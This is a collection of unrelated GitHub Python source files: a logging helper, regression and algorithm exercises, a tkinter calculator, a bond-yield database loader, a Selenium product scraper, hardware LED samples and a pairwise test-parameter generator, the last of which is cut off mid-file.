+{"seq_id":"24896737192","text":"import os\nimport sys\nimport logging\nimport logging.handlers\n\nfrom de.utils.common import AppInfo\nfrom logging import INFO, WARNING, ERROR, DEBUG\n\n\n# log level 추가시 선언\n# DEBUG -> 10, DETAIL -> 18, MORE -> 19, INFO -> 20, WARNING -> 30\nMORE = 19\nDETAIL = 18\n\n# logger\nget_logger = logging.getLogger\napp_name = AppInfo().app_name() # 현재 실행되는 모듈의 app_name 추출\n\n# log level 추가\nlogging.addLevelName(MORE, \"MORE\")\nlogging.addLevelName(DETAIL, \"DETAIL\")\n\n# log 출력 메소드 추가\nlogging.Logger.more = lambda inst, msg, *args, **kwargs: inst.log(MORE,\n f\"[{get_caller()}] {msg}\",\n *args,\n **kwargs)\nlogging.Logger.detail = lambda inst, msg, *args, **kwargs: inst.log(DETAIL,\n f\"[{get_caller(2)}>{get_caller()}] {msg}\",\n *args,\n **kwargs)\nlogging.Logger.logs = lambda inst, level, msg, *args, **kwargs: inst.log(level,\n f\"[{get_caller(1, False)}] {msg}\",\n *args,\n **kwargs)\nlogging.Logger.logc = lambda inst, level, msg, *args, **kwargs: inst.log(level,\n f\"[{get_caller()}] {msg}\",\n *args,\n **kwargs)\nlogging.Logger.logcc = lambda inst, level, msg, *args, **kwargs: inst.log(level,\n f\"[{get_caller(2)}>{get_caller()}] {msg}\",\n *args,\n **kwargs)\n\n\ndef get_caller(step=1, fullname=True):\n \"\"\"\n A function that returns the caller(function) of the code at the executed location.\n :param step:\n caller depth.\n :param fullname:\n True if you want to return the full_path_name\n containing the caller(function) path, False otherwise\n :return:\n \"\"\"\n step += 1\n caller = sys._getframe(step).f_locals.get('self')\n if isinstance(caller, type(None)):\n return sys._getframe(step).f_code.co_name\n elif fullname:\n return str(sys._getframe(step).f_locals.get('self')).split(\" \")[0][1:] + \".\" + \\\n sys._getframe(step).f_code.co_name\n else:\n return sys._getframe(step).f_code_co_name\n\n\ndef caller_id():\n \"\"\"\n return caller class id\n \"\"\"\n return id(sys._getframe(2).f_locals.get('self'))\n\n\ndef set_logging_level(logger_name=None, logging_level=None):\n \"\"\"\n set or change logging level\n \"\"\"\n if logging_level:\n if isinstance(logging_level, str):\n logging_level = logging_level.upper()\n c_logger = logging.getLogger(logger_name)\n c_logger.setLevel(logging_level)\n\n\n_stream_handler_enabled = [] # logger 의 스트림 여부\n_file_handlers = [] # logger 의 파일 로깅 여부\n_default_format = '%(asctime)s %(levelname)s %(message)s'\n\n\ndef create_logger(log_file, logger_name=None, err_logfile=True, max_bytes=104857600,\n back_up_count=3, propagate=True, format=_default_format, stream_enabled=True):\n \"\"\"\n logger 생성.\n default (log file size 100MB, log format --> 'YYYY-MM-DD hh:mm:ss:ms loglevel message'\n :param log_file:\n :param logger_name: 생성할 logger name\n :param err_logfile: err log file 에 logging 여부\n :param max_bytes: default 100MB\n :param back_up_count: rotateFileHandler 최대 backup file 개수\n :param propagate: 상위 logger 전파 여부\n :param format: logging default format 상단 참조\n :param stream_enabled:\n :return:\n \"\"\"\n global _stream_handler_enabled\n global _file_handlers\n\n clogger = logging.getLogger(logger_name)\n clogger.setLevel(INFO)\n clogger.propagate = propagate # 상위 logger 전파 여부\n formatter = logging.Formatter(format)\n\n # 핸들러 중복 선언 방지\n # ** stream_handler --> console 에 메세지를 전달\n if stream_enabled and logger_name not in _stream_handler_enabled:\n _stream_handler_enabled.append(logger_name)\n stream_handler = logging.StreamHandler()\n stream_handler.setFormatter(formatter)\n clogger.addHandler(stream_handler)\n\n # log 경로 생성\n\n # os.path.dirname --> 경로 중 directory 명만 얻기\n log_dir = os.path.dirname(log_file)\n if log_dir and not os.path.exists(log_dir):\n os.makedirs(log_dir, exist_ok=True) # exist_ok --> 해당 디렉토리가 있으면 무시\n\n # ** file_handler --> file 에 메세지를 전달\n # RotatingFileHandler -> 필요한 갯수 만큼 백업 file 을 생성하여 관리\n # .log / .err file 을 생성.\n # - .log --> 사용자가 app_properties.yml 에서 설정한 logger level 에 따라 logger level 이 설정\n if log_file not in _file_handlers:\n _file_handlers.append(log_file)\n file_handler = logging.handlers.RotatingFileHandler(log_file,\n maxBytes=max_bytes,\n backupCount=back_up_count)\n file_handler.setFormatter(formatter)\n clogger.addHandler(file_handler)\n\n # .err -> log 중 ERROR 라고 지정한 것들만 따로 저장하기 위하여 .err file 지정\n if err_logfile:\n err_file_handler = logging.handlers.RotatingFileHandler(log_file.replace(\".log\", \".err\"),\n maxBytes=max_bytes,\n backupCount=back_up_count)\n err_file_handler.setFormatter(formatter)\n err_file_handler.setLevel(ERROR)\n clogger.addHandler(err_file_handler)\n\n return clogger\n","repo_name":"instork/airflow-api2db-exercise","sub_path":"dags/de/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"14917525895","text":"#!/usr/bin/python\n\nimport os, sys, mmap\nfrom regression import Regression\n\nloader = '../src/pal'\n\nregression = Regression(loader, \"Thread\")\n\nregression.add_check(name=\"Thread Creation\",\n check=lambda res: \"Child Thread Created\" in res[0].log and\n \"Run in Child Thread: Hello World\" in res[0].log)\n\nregression.add_check(name=\"Multiple Threads Run in Parallel\",\n check=lambda res: \"Threads Run in Parallel OK\" in res[0].log)\n\nregression.add_check(name=\"Set Thread Private Segment Register\",\n check=lambda res: \"Private Message (FS Segment) 1: Hello World 1\" in res[0].log and\n \"Private Message (FS Segment) 2: Hello World 2\" in res[0].log)\n\nregression.add_check(name=\"Thread Exit\",\n check=lambda res: \"Child Thread Exited\" in res[0].log)\n\nregression.run_checks()\n","repo_name":"jovanbulck/sgx-pte","sub_path":"Pal/regression/02_Thread.py","file_name":"02_Thread.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"68"}
+{"seq_id":"31515901951","text":"# Given an array of numbers, find the maximum sum of any contiguous subarray of the array\n\n# Example Input [34, -50, 42, 14, -5, 86]\n# Output 137\n# 42 + 14 - 5 + 86 = 137\n\n# brute force and no wrapping around is allowed\n# O(N^3) time complexity due to the double-lay for loops, the sum function takes another O(N) time\n# O(1) time complexity\ndef max_subarray_sum_1(nums):\n max_sum = 0\n for i in range(len(nums)):\n for j in range(i,len(nums)):\n #print(nums[i:j+1], sum(nums[i:j+1]))\n max_sum = sum(nums[i:j+1]) if max_sum < sum(nums[i:j+1]) else max_sum\n\n return max_sum\n\n# O(N) time, just iterate through the array onece\n# like a dp approach\n# two variables, max_so_far stores the global max, max_ending_here stores the contiguous sum till the current element\n# Kadane’s algorithm\ndef max_subarray_sum_2(nums):\n max_so_far = 0\n max_ending_here = 0\n \n for i in range(len(nums)):\n max_ending_here = max_ending_here + nums[i]\n max_ending_here = 0 if max_ending_here < 0 else max_ending_here\n\n max_so_far = max_ending_here if max_ending_here > max_so_far else max_so_far\n \n return max_so_far\n\n# When wrapping is allowed\n\n# Example Input [8, -1, 3, 4]\n# Output 15\n# 3 + 4 + 8 = 15\n\n# wrapping of contributing elements impleies non wrapping of non contributing elements.\n# to maximize sum of wrapping circular array, we need to find the non-wrapping/contiguous subarray with the mininmum sum (or most negative)\n# 3-pass, first pass computes maximum subarray sum, second pass reverse the sign of the input array, third pass computes smallest subarray sum by calling the same function with the reversed sign input array\n# as after reversing the sign, finding the max subarray is equivalent as finding the min continous subarray\n# then reverse back the sign of max subarray of the reversed input array and add to total sum of input array, this gives the largest sum of wrapping circular array\n# compare non-wrapping max and wrapping max\n\ndef max_subarray_sum_3(nums):\n\n def max_subarray_sum_2(nums):\n max_so_far = 0\n max_ending_here = 0\n \n for i in range(len(nums)):\n max_ending_here = max_ending_here + nums[i]\n max_ending_here = 0 if max_ending_here < 0 else max_ending_here\n\n max_so_far = max_ending_here if max_ending_here > max_so_far else max_so_far\n \n return max_so_far\n\n reverse_nums = [-x for x in nums]\n\n print(max_subarray_sum_2(nums), max_subarray_sum_2(reverse_nums), sum(nums))\n return max(max_subarray_sum_2(nums), sum(nums) + max_subarray_sum_2(reverse_nums))\n\n\n# solution from the book, max_subarray_sum and min_subarray_sum are essentially the same algo\n# can be implemented as above\ndef maximum_circular_subarray(nums):\n max_subarray_sum_wraparound = sum(nums) - min_subarray_sum(nums)\n\n return max(max_subarray_sum(nums), max_subarray_sum_wraparound)\n\ndef max_subarray_sum(nums):\n max_ending_here, max_so_far = 0, 0\n\n for x in nums:\n max_ending_here = max(x, max_ending_here + x)\n max_so_far = max(max_so_far, max_ending_here)\n\n return max_so_far\n\ndef min_subarray_sum(nums):\n min_ending_here, min_so_far = 0, 0 \n\n for x in nums:\n min_ending_here = min(x, min_ending_here+x)\n min_so_far = min(min_so_far, min_ending_here)\n\n return min_so_far\n","repo_name":"mxu007/daily_coding_problem_practice","sub_path":"DCP_1_3.py","file_name":"DCP_1_3.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"2735150668","text":"import numpy as np\nimport os\nfrom scipy.ndimage import zoom\n\nroot = r\"Data\\Out\"\n\nfor item in os.listdir(root):\n\n if item not in os.listdir(r'Data/Out_NN'):\n print(item)\n array = np.load(os.path.join(root, item))\n reshaped = zoom(array, (1, 0.5, 0.5))\n np.save(os.path.join(r\"Data\\Out_NN\", item), reshaped)\n ","repo_name":"siddharthbharthulwar/Synthetic-X-Ray","sub_path":"resizect.py","file_name":"resizect.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"74795242777","text":"#!/usr/bin/env python3\n#Title: Calculator\n#Author: MYTH\n\nimport tkinter as tk\nimport time\nfrom tkinter import * \n\ndef delete():\n mistake = input.get()[:-1]\n input.set(mistake)\n \ndef clear():\n error = input.get()\n input.set(\"\")\n\ndef text_insert(text):\n current = input.get()\n input.set(current + str(text))\n \ndef evaluate():\n eqn = input.get()\n try:\n result = str(eval(eqn))\n time.sleep(0.3)\n input.set(result)\n except SyntaxError:\n time.sleep(1.0)\n input.set(\"SyntaxERROR\")\n\ncal = tk.Tk()\ncal.title(\"Calculator\")\ncal.geometry(\"400x400\")\ncal.resizable(False, False)\n\ninput = StringVar()\n\ntitle = tk.Label(cal, text=\"Calculator\", font=(\"Times New Roman\", 10, \"bold\"), background=\"black\", fg=\"white\")\ntitle.place(x=150)\n\ndisplay = tk.Entry(cal, bd=5, textvariable= input, justify=RIGHT, width=20, font=(\"Times New Roman\", 10)).place(x=30, y=50)\n\nseven = tk.Button(cal, text=\"7\", command = lambda:text_insert(7), bd=2, bg=\"gray\").place(y=120)\n\neight = tk.Button(cal, text=\"8\", command = lambda:text_insert(8), bd=2, bg=\"gray\").place(x=100, y=120)\n\nnine = tk.Button(cal, text=\"9\", command = lambda:text_insert(9), bd=2, bg=\"gray\").place(x=200, y=120)\n\ndelete = tk.Button(cal, text=\"Del\", command=delete, width=1, height=1, bd=2, bg=\"yellow\", fg=\"red\", activebackground=\"red\", activeforeground=\"yellow\").place(x=300, y=120)\n\nac = tk.Button(cal, text=\"AC\", command=clear, width=1, height=1, bd=2, bg=\"yellow\", fg=\"red\", activebackground=\"red\", activeforeground=\"yellow\").place(x=400, y=120)\n\nfour = tk.Button(cal, text=\"4\", command = lambda:text_insert(4), bg=\"gray\", bd=2).place(y=200)\n\nfive = tk.Button(cal, text=\"5\", command = lambda:text_insert(5), bg=\"gray\", bd=2).place(x=100, y=200)\n\nsix = tk.Button(cal, text=\"6\", command = lambda:text_insert(6), bg=\"gray\", bd=2).place(x=200, y=200)\n\nmul = tk.Button(cal, text=\"×\", command = lambda:text_insert(\"*\"), bg=\"lightgreen\", bd=2).place(x=300, y=200)\n\ndiv = tk.Button(cal, text=\"÷\", command = lambda:text_insert(\"/\"), bg=\"lightgreen\", bd=2).place(x=400, y=200)\n\none = tk.Button(cal, text=\"1\", command = lambda:text_insert(1), bg=\"gray\", bd=2).place(y=280)\n\ntwo = tk.Button(cal, text=\"2\", command = lambda:text_insert(2), bg=\"gray\", bd=2).place(x=100, y=280)\n\nthree = tk.Button(cal, text=\"3\", command = lambda:text_insert(3), bg=\"gray\", bd=2).place(x=200, y=280)\n\nplus = tk.Button(cal, text=\"+\", command= lambda:text_insert(\"+\"), bg=\"lightgreen\", bd=2).place(x=300, y=280)\n\nminus = tk.Button(cal, text=\"-\", command = lambda:text_insert(\"-\"), width=1, height=1, bg=\"lightgreen\", bd=2).place(x=400, y=280)\n\nzero = tk.Button(cal, text=\"0\", command = lambda:text_insert(0), bg=\"gray\", bd=2).place(y=360)\n\ndot = tk.Button(cal, text=\".\", command = lambda:text_insert(\".\"), bg=\"gray\", bd=2).place(x=100, y=360)\n\nequalTo = tk.Button(cal, text=\"=\", command = evaluate, bg=\"yellow\", fg=\"red\", activebackground=\"blue\", activeforeground=\"white\", bd=2).place(x=200, y=360)\n\nopenBrac = tk.Button(cal, text=\"(\", command = lambda:text_insert(\"(\"), bg=\"lightgreen\", bd=2).place(x=300, y=360)\n\ncloseBrac = tk.Button(cal, text=\")\", command = lambda:text_insert(\")\"), bg=\"lightgreen\", bd=2).place(x=400, y=360)\n\nexit = tk.Button(cal, text=\"EXIT\", fg=\"white\", command=quit, bg=\"red\", bd=2).place(x=350, y=440) \n\ncal.configure(background = \"black\")\ncal.maxsize(400,400)\ncal.minsize(400,400)\ncal.mainloop()","repo_name":"D-MythX/GUI_Cal","sub_path":"CalTk.py","file_name":"CalTk.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"68"}
+{"seq_id":"19098011912","text":"#!/usr/bin/env python\n# coding=utf-8\n\nimport os\nimport logging\nfrom typing import List\nfrom datetime import datetime, timedelta\n\nimport requests\nimport mysql.connector\nimport pandas as pd\n\nsys.path.append(os.getcwd())\n\nfrom conf import db_conf\n\nlxr_token = os.getenv(\"LXR_TOKEN\")\nnational_debt_table = \"national_debt\"\n\nclass Macro:\n \"\"\"用于获取宏观数据\n \"\"\"\n def __init__(self) -> None:\n self.conn = None\n\n \n def get_conn(self):\n if not self.conn:\n self.conn = mysql.connector.connect(\n host=db_conf.DB_HOST,\n port=db_conf.DB_PORT,\n user=db_conf.DB_USER,\n password=db_conf.DB_PASSWORD,\n database=\"finance_data\"\n )\n return self.conn\n\n\n def close_coon(self):\n if self.conn is not None:\n self.conn.close()\n return\n\n\n def init_national_debt_table(self):\n conn = self.get_conn()\n create_sql = \"\"\"\n CREATE TABLE IF NOT EXISTS `{}` (\n `id` INT AUTO_INCREMENT,\n `areaCode` VARCHAR(255),\n `date` VARCHAR(255),\n `tcm_m1` DOUBLE,\n `tcm_m3` DOUBLE,\n `tcm_m6` DOUBLE,\n `tcm_y1` DOUBLE,\n `tcm_y2` DOUBLE,\n `tcm_y3` DOUBLE,\n `tcm_y5` DOUBLE,\n `tcm_y7` DOUBLE,\n `tcm_y10` DOUBLE,\n `tcm_y20` DOUBLE,\n `tcm_y30` DOUBLE,\n PRIMARY KEY (`id`),\n UNIQUE KEY (`areaCode`, `date`)\n )ENGINE=InnoDB DEFAULT CHARSET=utf8;\n \"\"\".format(national_debt_table)\n cursor = conn.cursor()\n cursor.execute(create_sql)\n cursor.close()\n return\n\n\n def get_national_debt_data(self, area_code: str, start, end):\n start = datetime.strftime(start, \"%Y-%m-%d\")\n end = datetime.strftime(end, \"%Y-%m-%d\")\n url = \"https://open.lixinger.com/api/macro/national-debt\"\n params = {\n \"token\": lxr_token,\n \"areaCode\": area_code,\n \"startDate\": start,\n \"endDate\": end,\n \"metricsList\": [\n \"tcm_m1\",\n \"tcm_m3\",\n \"tcm_m6\",\n \"tcm_y1\",\n \"tcm_y2\",\n \"tcm_y3\",\n \"tcm_y5\",\n \"tcm_y7\",\n \"tcm_y10\",\n \"tcm_y20\",\n \"tcm_y30\"\n ]\n }\n r = requests.post(url, json=params)\n res = r.json()\n data = res[\"data\"]\n return data\n\n\n def insert_national_debt(self, data: List[dict]):\n insert_sql = \"\"\"\n insert into `{}` (\n areaCode,\n date,\n tcm_m1,\n tcm_m3,\n tcm_m6,\n tcm_y1,\n tcm_y2,\n tcm_y3,\n tcm_y5,\n tcm_y7,\n tcm_y10,\n tcm_y20,\n tcm_y30) \n values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s) \n ON DUPLICATE KEY UPDATE\n tcm_m1 = VALUES(tcm_m1),\n tcm_m3 = VALUES(tcm_m3),\n tcm_m6 = VALUES(tcm_m6),\n tcm_y1 = VALUES(tcm_y1),\n tcm_y2 = VALUES(tcm_y2),\n tcm_y3 = VALUES(tcm_y3),\n tcm_y5 = VALUES(tcm_y5),\n tcm_y7 = VALUES(tcm_y7),\n tcm_y10 = VALUES(tcm_y10),\n tcm_y20 = VALUES(tcm_y20),\n tcm_y30 = VALUES(tcm_y30)\n ; \n \"\"\".format(national_debt_table)\n conn = self.get_conn()\n cursor = conn.cursor()\n index_list = []\n for item in data:\n areaCode = item[\"areaCode\"]\n item[\"date\"] = item[\"date\"].split(\"T\")[0]\n index_list.append([\n areaCode,\n item[\"date\"],\n item.get(\"tcm_m1\", 0),\n item.get(\"tcm_m3\", 0),\n item.get(\"tcm_m6\", 0),\n item.get(\"tcm_y1\", 0),\n item.get(\"tcm_y2\", 0),\n item.get(\"tcm_y3\", 0),\n item.get(\"tcm_y5\", 0),\n item.get(\"tcm_y7\", 0),\n item.get(\"tcm_y10\", 0),\n item.get(\"tcm_y20\", 0),\n item.get(\"tcm_y30\", 0),\n ])\n try:\n cursor.executemany(insert_sql, index_list)\n conn.commit()\n except Exception as e:\n conn.rollback()\n logging.warning(\"insert national debt err:%s \", e)\n cursor.close()\n return\n\n\n def get_latest_update_date(self, table: str):\n sql = \"select `date` from `{}` order by `date` desc limit 1\".format(table)\n print(sql)\n cursor = self.get_conn().cursor()\n cursor.execute(sql)\n res = cursor.fetchone()\n if res:\n start = res[0]\n start = datetime.strptime(start, \"%Y-%m-%d\") + timedelta(days=1)\n return start\n return datetime.strptime(\"1990-01-01\", \"%Y-%m-%d\")\n\n\n def load_national_debt_data(self, area_code: str, rows: list):\n sql = \"select {} from '{}' where areaCode='{}'\".format(\",\".join(rows), national_debt_table, area_code)\n df = pd.read_sql(sql, self.get_conn())\n return df\n\n \n def insert_or_update_national_debt(self):\n self.init_national_debt_table()\n start = self.get_latest_update_date(national_debt_table)\n end = datetime.today()\n # 暂时只获取中债数据\n area_code = \"cn\"\n while start <= end:\n next_start = start + timedelta(days=3650)\n national_debt_data = self.get_national_debt_data(area_code, start, next_start)\n self.insert_national_debt(national_debt_data)\n start = next_start + timedelta(days=1)\n return\n\nif __name__ == \"__main__\":\n macro = Macro()\n macro.insert_or_update_national_debt()\n macro.close_coon()","repo_name":"AFreeCoder/quant-toolbox","sub_path":"scripts/dump_macro_data.py","file_name":"dump_macro_data.py","file_ext":"py","file_size_in_byte":5920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"71721095257","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport pandas as pd\nfrom selenium.webdriver.firefox.options import Options\nfrom progress.bar import IncrementalBar\n\nfrom common import save\n\no = Options()\n\no.page_load_strategy = 'eager'\n\ndriver = webdriver.Firefox(options=o)\n\ndef get_page(page_num):\n driver.get(f'https://www.dns-shop.ru/catalog/17a8a01d16404e77/smartfony/?stock=now-today-tomorrow-later-out_of_stock&f[pqc]=68kur-kdf7y-o8r3o-y6ccf-1ccyzc&p={page_num}')\n\ndef find_urls():\n return [i.get_attribute('href') + 'characteristics/' \\\n for i in driver. \\\n find_elements(By.CSS_SELECTOR, '.catalog-product__name.ui-link')]\n\np_num = 1\n\nget_page(p_num)\n\ntemp_link_elements = find_urls()\nurls = []\n\nwhile len(temp_link_elements) > 0:\n urls += temp_link_elements\n temp_link_elements = find_urls()\n\n print(f'Page {p_num}')\n print(*temp_link_elements, sep='\\n', end='\\n\\n')\n\n p_num += 1\n get_page(p_num)\n\ni = 1\n\ndef load_info(page_url):\n info = {}\n try:\n driver.get(page_url)\n\n info_elements = driver.find_elements(By.CLASS_NAME, 'product-characteristics__spec')\n\n for el in info_elements:\n key = el.find_element(By.CLASS_NAME, 'product-characteristics__spec-title').text\n value = el.find_element(By.CLASS_NAME, 'product-characteristics__spec-value').text\n\n info[key] = value\n \n price = driver.find_elements(By.CLASS_NAME, 'product-buy__price')\n except Exception as e:\n pass\n\n price = price[0].text if price else None\n\n info['price'] = price\n info['url'] = page_url\n\n # print(info, end='\\n\\n')\n\n return info\n\ninfos = []\n\nbar = IncrementalBar('Parsing', max = len(urls))\n\ni = 1\nfor url in urls:\n infos.append(load_info(url))\n \n bar.next()\n\n i+=1\n if i % 100 == 0:\n save(infos, 'smartphones.csv')\n\ndriver.close()\ndriver.quit()\n\nsave(infos, 'smartphones.csv')","repo_name":"d-mour/KnowledgeGrpahCourse","sub_path":"Practice/2022/P41301/Parakhin_Chernousov_Smartphones/src/parse_smartphones.py","file_name":"parse_smartphones.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"40704021849","text":"# -*- coding: utf-8 -*-\n\n'''\nAuthor: Postprandial\nPurpose: Version2 of the Bob file:\nBob now answers all questions with 'Sure' and all shouting (caps) with 'Whoa, chill out!'\nlowercase questions or questions ending in whitespace are also answered with 'sure'.\nBob also still looks \nAll statements (upper & lowercase) are answered. \n'''\n\ndef hey(what):\n\t\n\tprompt=what.strip()\n\tanswer=''\n\t\n\tanswerFine=[' \\t',\"\"]\n\n\tif prompt in answerFine:\n\t\tanswer='Fine. Be that way!'\n\telif prompt.isupper():\n\t\tanswer='Whoa, chill out!'\n\telif prompt[-1]=='?':\n\t\tanswer='Sure.'\n\telse:\n\t\tanswer='Whatever.'\n\t\t\n\treturn answer\n","repo_name":"itsolutionscorp/AutoStyle-Clustering","sub_path":"all_data/exercism_data/python/bob/e521d476743c42ac9b3d37225576e9b9.py","file_name":"e521d476743c42ac9b3d37225576e9b9.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"}
+{"seq_id":"20295425009","text":"from machine import LED\r\nimport utime as time\r\n\r\nRGB = LED(LED.RGB) #使用Lite 特有WS2812B(RGB LED) 驱动 \r\n\r\n#单颗控制 RGB = 0 LED 不亮\r\nRGB.rgb_write( 1 , 255 ,0 ,0) # 指定第1个 RGB灯 , R=255 /G=0 /B=0\r\nRGB.rgb_write( 2 , 0 ,255 ,0) # 指定第2个 RGB灯 , R=0 /G=255 /B=0\r\nRGB.rgb_write( 3 , 0 ,0 ,255) # 指定第3个 RGB灯 , R=0 /G=0 /B=255\r\n\r\ntime.sleep(1)\r\n#多颗 RGB LED 一起控制 (使用List )\r\n\r\nColor = [ [0,100,0] , [255,100 ,0] , [100 ,10 ,100] ] #指定前三个 RGB LED RGB颜色\r\nRGB.rgb_write( Color)\r\ntime.sleep(1)\r\n\r\n#rgb write前可控制亮度 1-100\r\nRGB.lightness(100)\r\nRGB.rgb_write( Color)\r\n\r\n#使用循环制作 RGB LED 渐渐变亮\r\nfor lightness in range(1,100,10): \r\n RGB.lightness(lightness)\r\n RGB.rgb_write( Color)\r\n time.sleep_ms(500)\r\n","repo_name":"richlink-tech/ePy-Lite","sub_path":"SampleCode/ExBoard_sampleCode/RGBLED_simple.py","file_name":"RGBLED_simple.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"22546761259","text":"\"\"\"This script processes a ros urdf file so that all paths specified\nusing ros package:// syntax are resolved properly, allowing one to use\nthe urdf file with pybullet directly.\n\nUsage\n python resolve_package_path_urdf.py [filename]\n\n\"\"\"\nimport sys\nimport rospkg\nimport re\n\nrospack = rospkg.RosPack()\nfilename = sys.argv[1]\nmatch = re.match(r'([a-zA-Z_]*).urdf', filename, re.M)\nif match is None:\n print(\"given file {:} is not an urdf file\".format(filename))\nfilename1 = match.group(1)\n\nwith open(filename, 'r') as f:\n doc = f.read()\n\n\nwhile True:\n # match package://[package_name]/\n match = re.search(r'package://([A-Za-z_]*)', doc, re.M)\n if match is None:\n break\n package_name = match.group(1)\n print(\"Found package: {:}\".format(package_name))\n package_path = rospack.get_path(package_name)\n doc = doc.replace(match.group(), package_path)\n\nfilename_new = \"{:}_res.urdf\".format(filename1)\nwith open(filename_new, 'w') as f:\n f.write(doc)\n print(\"Wrote a new urdf file at: {:}\".format(filename_new))\n","repo_name":"SimbaXu/infinite_interaction","sub_path":"data/urdf/resolve_package_path_urdf.py","file_name":"resolve_package_path_urdf.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"15403953223","text":"\"\"\"\r\n14. Write a Python program to input player's name(string) and runs(int) scored for n\r\nnumber of players where n should be an input from the keyboard, Store the players’\r\ndetails in a dictionary called 'cricket'. After preparing the dictionary, input player's name\r\nand print the runs scored by him otherwise returns'-1' if player name not found.\r\n\"\"\"\r\nn=int(input(\"HOW MANY PLAYERS YOU CAN CHOOSE:\"))\r\nlist_name=[]\r\nlist_score=[]\r\nfor i in range(n):\r\n ele=input(\"ENTER THE PLAYER NAMES: \")\r\n list_name.append(ele)\r\nprint(list_name)\r\nfor i in range(n):\r\n ele2=int(input(\"ENTER THE SCORES: \"))\r\n list_score.append(ele2)\r\nprint(list_score)\r\nplayer_list=dict(zip(list_name,list_score))\r\nprint(player_list)\r\nnum=input(\"ENTER A PLAYER NAME: \")\r\nif num in player_list:\r\n print(player_list[num])\r\nelse:\r\n print(\"-1\")\r\n\r\n\r\n# player=input(\"ENTER THE PLAYER NAME:\")\r\n# if player in class_list:\r\n# print(class_list[player])\r\n# else:\r\n# print(\"-1\")\r\n # class_list[temp[0]] = int(temp[1])\r\n\r\n\r\n# # Displaying the dictionary\r\n# for key, value in class_list.items():\r\n# \tprint('Name: {}, Score: {}'.format(key, value))\r\n\r\n# lis_name=[\"MOHIBUL\",\"KOULIK\",\"BIKI\",\"SARTHAK\",\"ASIS\",\"KUNDAN\"]\r\n# lis_salary=[20,25,30,35,40,45]\r\n# Emp_lis=dict(zip(lis_name,lis_salary))\r\n# print(Emp_lis)","repo_name":"mohibul2000/MY_PROJECTS","sub_path":"assignments.py/Q14.py","file_name":"Q14.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"4665005163","text":"import sys\nsys.path.append(\"../..\")\nfrom testcase_automaker.Utils.amazingutils import randoms\nfrom allpairspy import AllPairs\nimport random\nimport copy\n\n\nclass http_params_generator(object):\n '''\n\n\n >>> params_generator = http_params_generator(parameters_structure={'name': {'type': 'string', 'value': '','range':['张三','李四'], 'iscompulsory': True},\\\n 'phone': {'type': 'number', 'value': '', 'iscompulsory': True},\\\n 'claimant': {'type': 'object', 'value': {'name': {'type': 'string', 'value': '', 'iscompulsory': True}\\\n ,'phone': {'type': 'number', 'value': '', 'iscompulsory': True}}, 'iscompulsory': True},\\\n 'informations': {'type': 'array', 'value': [{'claimant': {'type': 'object', 'value': {'name': {'type': 'string', 'value': '', 'iscompulsory': True}\\\n ,'phone': {'type': 'number', 'value': '', 'iscompulsory': True}}, 'iscompulsory': True}},\\\n {'name': {'type': 'string', 'value': '', 'iscompulsory': True}}], 'iscompulsory': True}})\n\n >>> params_generator.get_params_num()\n 7\n >>> params_generator.generate_params_list()\n >>> type(params_generator.generated_params_list)\n \n >>> type(random.choice(params_generator.generated_params_list))\n \n >>> len(params_generator.generated_params_list)\n 7\n\n >>> params_generator = http_params_generator(parameters_structure={})\n >>> params_generator.get_params_num()\n 0\n >>> params_generator.generate_params_list()\n >>> type(params_generator.generated_params_list)\n \n >>> len(params_generator.generated_params_list)\n 0\n\n '''\n def __init__(self, parameters_structure, generated_params_list=None):\n self.parameters_structure = parameters_structure\n self.generated_params_list = generated_params_list\n\n # 生成参数组合列表\n def generate_params_list(self):\n parameters = http_params_generator.get_pairwise_list(self.get_params_num())\n params_usage_2d_list = []\n params_combo_list = []\n if len(parameters) > 1:\n for pairs in AllPairs(parameters):\n params_usage_2d_list.append(pairs)\n for params_usage_list in params_usage_2d_list:\n yield_params_usage_list = http_params_generator.yield_list(params_usage_list)\n raw_params_list = self.generate_params(parameters_usage_list=yield_params_usage_list)\n prepared_params_list = http_params_generator.get_value_dic(raw_params_list)\n params_combo_list.append(prepared_params_list)\n elif len(parameters) == 1: # 当只有一个参数的时候第三方库ALLPAIRS不支持\n yield_params_usage_list_true = http_params_generator.yield_list([True])\n yield_params_usage_list_false = http_params_generator.yield_list([False])\n raw_params_list_true = self.generate_params(parameters_usage_list=yield_params_usage_list_true)\n prepared_params_list_true = http_params_generator.get_value_dic(raw_params_list_true)\n raw_params_list_false = self.generate_params(parameters_usage_list=yield_params_usage_list_false)\n prepared_params_list_false = http_params_generator.get_value_dic(raw_params_list_false)\n params_combo_list.append(prepared_params_list_true)\n params_combo_list.append(prepared_params_list_false)\n self.generated_params_list = params_combo_list\n\n # 生成参数\n def generate_params(self, parameters_usage_list, parameters_structure=None):\n if parameters_structure is None:\n parameters_structure = copy.deepcopy(self.parameters_structure)\n for key, attribute in parameters_structure.items():\n type_name = attribute['type']\n if type_name.lower() == 'object':\n self.generate_params(parameters_structure=attribute['value'],\n parameters_usage_list=parameters_usage_list)\n continue\n if type_name.lower() 